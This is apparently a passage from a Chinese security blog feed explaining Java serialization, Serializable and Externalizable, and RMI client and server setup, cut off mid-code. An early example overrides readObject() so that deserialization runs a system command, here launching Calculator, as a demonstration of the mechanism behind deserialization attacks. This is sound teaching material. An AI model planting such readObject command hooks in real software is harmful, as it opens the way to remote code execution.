class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.testSer;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">test</span></span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String args[])</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"></span><br><span class="line"> UnsafeClass Unsafe = <span class="keyword">new</span> UnsafeClass();</span><br><span class="line"> Unsafe.name = <span class="string">"hacked by ph0rse"</span>;</span><br><span class="line"></span><br><span class="line"> FileOutputStream fos = <span class="keyword">new</span> FileOutputStream(<span class="string">"object"</span>);</span><br><span class="line"> ObjectOutputStream os = <span class="keyword">new</span> ObjectOutputStream(fos);</span><br><span class="line"> <span class="comment">//writeObject()方法将Unsafe对象写入object文件</span></span><br><span class="line"> os.writeObject(Unsafe);</span><br><span class="line"> os.close();</span><br><span class="line"> <span class="comment">//从文件中反序列化obj对象</span></span><br><span class="line"> FileInputStream fis = <span class="keyword">new</span> FileInputStream(<span class="string">"object"</span>);</span><br><span class="line"> ObjectInputStream ois = <span class="keyword">new</span> ObjectInputStream(fis);</span><br><span class="line"> <span class="comment">//恢复对象</span></span><br><span class="line"> UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();</span><br><span class="line"> System.out.println(objectFromDisk.name);</span><br><span class="line"> ois.close();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UnsafeClass</span> <span class="keyword">implements</span> <span class="title">Serializable</span></span>{</span><br><span class="line"> <span class="keyword">public</span> String name;</span><br><span class="line"> <span class="comment">//重写readObject()方法</span></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(java.io.ObjectInputStream in)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException</span>{</span><br><span class="line"> <span class="comment">//执行默认的readObject()方法</span></span><br><span class="line"> in.defaultReadObject();</span><br><span class="line"> <span class="comment">//执行命令</span></span><br><span class="line"> System.out.println(<span class="string">"my First!"</span>);</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"open -a Calculator.app"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里进行反序列化操作时,使用<code>ObjectInputStream</code>读取序列化文件,然后调用了<code>readObject()</code>, 当然就会成功的执行命令<br><img src="/Java 反序列化.resources/4AE8E45C-404B-4C71-B7E4-3F34724B622B.png" alt="91feac2fe936fc44a74b4558c29b5774"></p><p>并且确实是先执行了readObject类的操作,然后再进行<code>System.out.println(name)</code></p><h3 id="ObjectInputStream-amp-amp-ObjectOutputStream"><a href="#ObjectInputStream-amp-amp-ObjectOutputStream" class="headerlink" title="ObjectInputStream && ObjectOutputStream"></a>ObjectInputStream && ObjectOutputStream</h3><p>序列化对象: <code>java.io.ObjectOutputStream</code>-><code>writeObject()</code></p><p>反序列化对象: <code>java.io.ObjectInputStream</code>-><code>readObject()</code></p><p>也就是说在序列化类时,就会自动去</p><h4 id="Serializable"><a href="#Serializable" class="headerlink" title="Serializable"></a>Serializable</h4><p><img src="/Java 反序列化.resources/5D3785F2-BB16-410A-B71D-C528BBABD3A6.png" alt="353fe18d91d94771da7b2851b01803c5"></p><p>java.io.Serializable接口是空接口,仅仅用于表示这个类可序列化<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.demo;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">DeserializationTest</span> <span class="keyword">implements</span> <span class="title">Serializable</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> String username;</span><br><span class="line"> <span class="keyword">private</span> String email;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getUsername</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> username;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setUsername</span><span class="params">(String username)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.username = username;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">getEmail</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> email;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setEmail</span><span class="params">(String email)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.email = email;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> ByteArrayOutputStream baos = <span class="keyword">new</span> ByteArrayOutputStream();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 创建DeserializationTest类,并类设置属性值</span></span><br><span class="line"> DeserializationTest t = <span class="keyword">new</span> DeserializationTest();</span><br><span class="line"> t.setUsername(<span class="string">"Patrilic"</span>);</span><br><span class="line"> t.setEmail(<span class="string">"[email protected]"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 创建Java对象序列化输出流对象</span></span><br><span class="line"> ObjectOutputStream out = <span class="keyword">new</span> ObjectOutputStream(baos);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 序列化DeserializationTest类</span></span><br><span class="line"> out.writeObject(t);</span><br><span class="line"> out.flush();</span><br><span class="line"> out.close();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 打印DeserializationTest类序列化以后的字节数组,我们可以将其存储到文件中或者通过Socket发送到远程服务地址</span></span><br><span class="line"> System.out.println(<span class="string">"DeserializationTest类序列化后的字节数组:"</span> + Arrays.toString(baos.toByteArray()));</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 利用DeserializationTest类生成的二进制数组创建二进制输入流对象用于反序列化操作</span></span><br><span class="line"> ByteArrayInputStream bais = <span class="keyword">new</span> ByteArrayInputStream(baos.toByteArray());</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象</span></span><br><span class="line"> ObjectInputStream in = <span class="keyword">new</span> ObjectInputStream(bais);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 反序列化输入流数据为DeserializationTest对象</span></span><br><span class="line"> DeserializationTest test = (DeserializationTest) in.readObject();</span><br><span class="line"> System.out.println(<span class="string">"用户名:"</span> + test.getUsername() + <span class="string">",邮箱:"</span> + test.getEmail());</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 关闭ObjectInputStream输入流</span></span><br><span class="line"> in.close();</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (ClassNotFoundException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p><img src="/Java 反序列化.resources/C93A9FAE-DB5A-4FC1-BB1B-814DAE9F77AA.png" alt="76d9756e4aab867670c7fcda970c3c24"></p><ul><li>使用了ObjectOutputStream->writeObject()序列化了DeserializationTest类</li><li>使用了ObjectInputStream->readObject()反序列化了DeserializationTest类</li></ul><h4 id="Externalizable"><a href="#Externalizable" class="headerlink" title="Externalizable"></a>Externalizable</h4><p><img src="/Java 反序列化.resources/C69C1353-C5FC-42A8-A68A-278C3D22143B.png" alt="7d55817c04f81057ababfb388229de68"></p><p>java.io.Externalizable继承Serializable接口,定义了两个方法:</p><ul><li>writeExternal()</li><li>readExternal()</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ExternalizableTest</span> <span class="keyword">implements</span> <span class="title">java</span>.<span class="title">io</span>.<span class="title">Externalizable</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> String username;</span><br><span class="line"> <span class="keyword">private</span> String email;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getUsername</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> username;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setUsername</span><span class="params">(String username)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.username = username;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">getEmail</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> email;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setEmail</span><span class="params">(String email)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.email = email;</span><br><span class="line">}</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">writeExternal</span><span class="params">(ObjectOutput out)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> out.writeObject(username);</span><br><span class="line"> out.writeObject(email);</span><br><span class="line"> }</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">readExternal</span><span class="params">(ObjectInput in)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException </span>{</span><br><span class="line"> <span class="keyword">this</span>.username = (String) in.readObject();</span><br><span class="line"> <span class="keyword">this</span>.email = (String) in.readObject();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> ByteArrayOutputStream baos = <span class="keyword">new</span> ByteArrayOutputStream();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 创建DeserializationTest类,并类设置属性值</span></span><br><span class="line"> ExternalizableTest t = <span class="keyword">new</span> ExternalizableTest();</span><br><span class="line"> t.setUsername(<span class="string">"Patrilic"</span>);</span><br><span class="line"> t.setEmail(<span class="string">"[email protected]"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 创建Java对象序列化输出流对象</span></span><br><span class="line"> ObjectOutputStream out = <span class="keyword">new</span> ObjectOutputStream(baos);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 序列化DeserializationTest类</span></span><br><span class="line"> out.writeObject(t);</span><br><span class="line"> out.flush();</span><br><span class="line"> out.close();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 打印ExternalizableTest类序列化以后的字节数组,我们可以将其存储到文件中或者通过Socket发送到远程服务地址</span></span><br><span class="line"> System.out.println(<span class="string">"ExternalizableTest类序列化后的字节数组:"</span> + Arrays.toString(baos.toByteArray()));</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 利用ExternalizableTest类生成的二进制数组创建二进制输入流对象用于反序列化操作</span></span><br><span class="line"> ByteArrayInputStream bais = <span class="keyword">new</span> ByteArrayInputStream(baos.toByteArray());</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象</span></span><br><span class="line"> ObjectInputStream in = <span class="keyword">new</span> ObjectInputStream(bais);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 反序列化输入流数据为DeserializationTest对象</span></span><br><span class="line"> ExternalizableTest test = (ExternalizableTest) in.readObject();</span><br><span class="line"> System.out.println(<span class="string">"用户名:"</span> + test.getUsername() + <span class="string">",邮箱:"</span> + test.getEmail());</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 关闭ObjectInputStream输入流</span></span><br><span class="line"> in.close();</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (ClassNotFoundException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/Java 反序列化.resources/29A572E8-12FE-4C0B-ABEB-7B0F8E126A20.png" alt="dbab49a33c3f7b5d91ac12675c425caf"></p><p>值得注意的是两个方法的重写:<br><img src="/Java 反序列化.resources/8F677152-4C82-4947-80E3-1A318034B8AF.png" alt="ad0bec7b07149615601539047867463f"></p><h2 id="0x03-相关链接"><a href="#0x03-相关链接" class="headerlink" title="0x03 相关链接"></a>0x03 相关链接</h2><p><a href="https://xz.aliyun.com/t/2041" target="_blank" rel="noopener">https://xz.aliyun.com/t/2041</a><br><a href="https://javasec.org/javase/JavaDeserialization/Serialization.html" target="_blank" rel="noopener">https://javasec.org/javase/JavaDeserialization/Serialization.html</a><br><a href="https://xz.aliyun.com/t/2043" target="_blank" rel="noopener">https://xz.aliyun.com/t/2043</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-3-18 11:26:55</p>
</blockquote>
<p><img src="/wallpaper/girl_field_night.jpg" alt></p>
<h2
</summary>
<category term="Java_Sec" scheme="http://patrilic.top/categories/Java-Sec/"/>
<category term="反序列化" scheme="http://patrilic.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
</entry>
<entry>
<title>RMI</title>
<link href="http://patrilic.top/2020/03/17/RMI/"/>
<id>http://patrilic.top/2020/03/17/RMI/</id>
<published>2020-03-17T08:41:55.000Z</published>
<updated>2020-03-17T08:51:11.826Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-3-17 16:41:55</p></blockquote><p><img src="/wallpaper/sky.jpg" alt></p><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>RMI(Remote Method Invocation) - Java远程方法调用, 类似于RPC, 实现了Java程序跨JVM的的方法调用。<br>简而言之就是能够在另一个JVM中调用对象的方法。</p><h2 id="0x01-RMI组成"><a href="#0x01-RMI组成" class="headerlink" title="0x01 RMI组成"></a>0x01 RMI组成</h2><p>RMI分成三个部分组成: </p><ul><li>客户端Client</li><li>服务端Server</li><li>注册中心Registry</li></ul><p>(from <a href="https://javasec.org/javase/RMI/" target="_blank" rel="noopener">javasec</a>)<br>架构图:<br><img src="/RMI.resources/F59BB75C-985D-4077-A2C5-568E3A8F3D47.jpg" alt="f76f1d632cf4f6d09b1f45783932c320"></p><p>简述一下RMI的调用流程:</p><ol><li>RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。</li><li>Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。</li><li>RemoteCall序列化RMI服务名称、Remote对象。</li><li>RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。</li><li>RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。</li><li>Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。</li><li>Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。</li><li>RMI客户端反序列化服务端结果,获取远程对象的引用。</li><li>RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。</li><li>RMI客户端反序列化RMI远程方法调用结果。</li></ol><p>但是从上述文字中就产生一个疑问,Client是直接获取服务端的方法执行结果,而类的执行是在Server端,那么例如fastjson这种,它的命令执行又是在Client产生…?</p><h2 id="0x02-RMI搭建"><a href="#0x02-RMI搭建" class="headerlink" title="0x02 RMI搭建"></a>0x02 RMI搭建</h2><h3 id="服务端"><a href="#服务端" class="headerlink" title="服务端"></a>服务端</h3><p>创建一个Java Project - <code>RMIServiceExample</code><br>创建Package - <code>com.patrilic.rmi</code><br>首先构造一个public接口<code>RMIServiceAPI</code>,需要继承Remote,同时throws RemoteException</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.rmi;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Remote;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">RMIServiceAPI</span> <span class="keyword">extends</span> <span class="title">Remote</span> </span>{</span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">hello</span><span class="params">(String a)</span> <span class="keyword">throws</span> RemoteException</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后再构造一个Class实现</p><ul><li>需要继承UnicastRemoteObject类,同时实现RMIServiceAPI接口</li><li>构造函数需要抛出RemoteException</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.rmi;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.UnicastRemoteObject;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">RMIService</span> <span class="keyword">extends</span> <span class="title">UnicastRemoteObject</span> <span class="keyword">implements</span> <span class="title">RMIServiceAPI</span> </span>{</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">long</span> serialVersionUID = <span class="number">1L</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">protected</span> <span class="title">RMIService</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException </span>{</span><br><span class="line"><span class="keyword">super</span>();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">hello</span><span class="params">(String a)</span> <span class="keyword">throws</span> RemoteException </span>{</span><br><span class="line"> System.out.println(<span class="string">"call from"</span> + a);</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"Hello world"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最后构造一个StartService.java,用于注册服务代码<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.rmi;</span><br><span class="line"><span class="keyword">import</span> java.net.MalformedURLException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.AlreadyBoundException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">StartService</span> </span>{</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">StartService</span><span class="params">()</span> </span>{</span><br><span class="line"> String host =<span class="string">"127.0.0.1"</span>;</span><br><span class="line"> String port =<span class="string">"1099"</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> RMIServiceAPI service = <span class="keyword">new</span> RMIService();</span><br><span class="line"> LocateRegistry.createRegistry(Integer.valueOf(port));</span><br><span class="line"> Naming.bind(<span class="string">"rmi://"</span> + host + <span class="string">":"</span> + port + <span class="string">"/RmiService"</span>, service);</span><br><span class="line"> System.out.println(<span class="string">"[INFO]:Success to bind rmi object"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (NumberFormatException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (RemoteException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (MalformedURLException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (AlreadyBoundException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line">StartService();</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p><img src="/RMI.resources/070C8E9A-2382-4FBB-8C5E-AA4559FC649C.png" alt="8c1ada5bab64f273daad336c41307ec6"></p><h3 id="客户端"><a href="#客户端" class="headerlink" title="客户端"></a>客户端</h3><p>和Server端一样,先构造一个接口继承Remote<br>注意,必须使用和Server端相同的package和RMIServiceAPI名称,不然会报错<br><img src="/RMI.resources/C68FA7EC-30FF-48B0-AAAA-7612C07D2E5D.png" alt="65111557c3c0a8a7cb0d3a6c57bcc051"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.rmi;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Remote;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">RMIServiceAPI</span> <span class="keyword">extends</span> <span class="title">Remote</span> </span>{</span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">hello</span><span class="params">(String a)</span> <span class="keyword">throws</span> RemoteException</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>构造Client调用服务端的hello接口<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.rmi;</span><br><span class="line"><span class="keyword">import</span> java.net.MalformedURLException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.rmi.NotBoundException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Remote;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">RMIClient</span> </span>{</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">linkHello</span><span class="params">(String a)</span> <span class="keyword">throws</span> RemoteException </span>{</span><br><span class="line"> String host = <span class="string">"127.0.0.1"</span>;</span><br><span class="line"> String port = <span class="string">"1099"</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Remote remote = Naming.lookup(<span class="string">"rmi://"</span> + host + <span class="string">":"</span> + port</span><br><span class="line"> + <span class="string">"/RmiService"</span>);</span><br><span class="line"> <span class="keyword">if</span> (remote <span class="keyword">instanceof</span> RMIServiceAPI) {</span><br><span class="line"> RMIServiceAPI rmiService = (RMIServiceAPI) remote;</span><br><span class="line"> String result = rmiService.hello(a);</span><br><span class="line"> System.out.println(result);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (NotBoundException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (MalformedURLException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (RemoteException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> 